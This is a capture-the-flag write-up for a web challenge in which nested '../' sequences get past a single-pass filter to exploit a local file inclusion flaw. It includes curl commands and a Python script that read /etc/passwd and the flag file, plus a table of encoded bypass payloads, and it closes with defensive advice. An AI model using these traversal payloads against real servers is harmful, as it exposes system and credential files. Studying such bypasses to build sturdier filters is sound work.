Waf
Waf
Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-11-10 | Status: Solved Techniques: lfi_waf_bypass, nested_path_traversal, double_encoding
Summary
LFI (Local File Inclusion) challenge with WAF bypass. The application has a WAF that filters path traversal sequences (../), but the filter can be bypassed using nested sequences.
Waf — Web Kids 2.0
Description
LFI (Local File Inclusion) challenge with WAF bypass. The application has a WAF that filters path traversal sequences (../), but the filter can be bypassed using nested sequences.
URL: https://2019-11-10-waf.ctf.su/
Points: 1
Analysis
The Problem
The application is vulnerable to LFI, but has a WAF (Web Application Firewall) that:
- Detects and removes
../sequences - Applies the filter only once (single-pass)
Filter Vulnerability
If the WAF removes ../ only once, nested sequences can be used:
....// → after removing ../ → ../
..../ → after removing ../ → ../
....\/ → after removing ../ → ../
Solution
Step 1: Testing the Filter
Check how the WAF reacts to various path traversal variants:
bash read-only • copy allowed# Normal path traversal - blocked curl "https://2019-11-10-waf.ctf.su/?file=../etc/passwd" # Result: blocked or empty response # Nested path traversal - bypasses WAF curl "https://2019-11-10-waf.ctf.su/?file=....//etc/passwd" # Result: contents of /etc/passwd
Step 2: Exploitation
Use nested sequences to read the flag:
bash read-only • copy allowed# Read flag with WAF bypass curl "https://2019-11-10-waf.ctf.su/?file=....//....//....//flag.txt"
Full Script
python read-only • copy allowed#!/usr/bin/env python3 """ Waf - LFI with WAF bypass via nested path traversal Web Kids 2.0 """ import requests URL = "https://2019-11-10-waf.ctf.su/" # WAF bypass patterns bypass_patterns = [ "....//", # WAF removes ../ → leaves ../ "..../", # Alternative variant "....\/", # With escaping "..%2f..%2f", # URL encoding "%2e%2e/", # Encoded dots "..%252f", # Double encoding ] # Test different patterns for pattern in bypass_patterns: # Form path with bypass payload = f"{pattern}{pattern}{pattern}etc/passwd" r = requests.get(URL, params={"file": payload}) if "root:" in r.text: print(f"[+] Working bypass: {pattern}") print(f"[+] Payload: {payload}") # Read flag flag_payload = f"{pattern}{pattern}{pattern}flag.txt" r2 = requests.get(URL, params={"file": flag_payload}) print(f"[+] Flag: {r2.text}") break # Direct exploit with known pattern print("\n[*] Direct exploit:") payload = "....//....//....//flag.txt" r = requests.get(URL, params={"file": payload}) print(r.text)
Flag Analysis
The flag REDACTED hints at the WAF weakness:
- really_weak — the filter is easily bypassed
- w@f_w@f — WAF (Web Application Firewall) with 'a' replaced by '@'
WAF Bypass Variants
| Pattern | Description |
|---|---|
....// | Nested traversal (after removing ../ leaves ../) |
....\/ | With backslash |
..%2f | URL-encoded slash |
%2e%2e/ | URL-encoded dots |
..%252f | Double URL encoding |
..;/ | With semicolon (for some servers) |
..%00/ | Null byte (deprecated) |
| |
Defense
- Use multi-pass filtering (while loop)
- Normalize path before checking (realpath)
- Use whitelist instead of blacklist
- Don't rely only on WAF — validate at application level